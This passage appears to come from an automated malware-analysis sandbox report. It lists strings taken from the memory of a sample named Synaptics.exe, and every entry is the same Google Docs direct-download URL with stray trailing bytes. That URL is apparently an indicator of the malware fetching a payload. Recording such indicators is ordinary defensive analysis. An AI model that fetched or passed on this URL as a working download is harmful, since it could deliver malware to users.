Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG(
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG9
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGRD
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH4q0
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHCon
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHDz6
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000055A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHt
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIMy1
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIW
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2274065049.000000000E695000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJV
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJwz3
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKH
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL25
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL5u1.
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLGRE.
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLO~3=
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLkz3
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM=
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMK
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNJp4
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNpv2
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2294051219.000000001A2BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP(
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP5Y1/
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPIVFA
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPVx3i$
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPk
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR&
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRE
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadROd3?
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRezc
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRp
Source: Synaptics.exe, 00000004.00000002.2251508096.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS=
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2274065049.000000000E695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSF
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSe
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTJf4
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTd
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTr
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUnivenUv2S
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUp
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUpdat
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVW&d
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVq
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWP
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWR
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX/
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX;A3
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY&
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY6dIb
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYOi3
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZPb1iR
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_2403%
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_Mo1
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada.net
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadadNe
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadadba
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadadmo0s
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadam
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadamad
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadang=
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadate
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbI
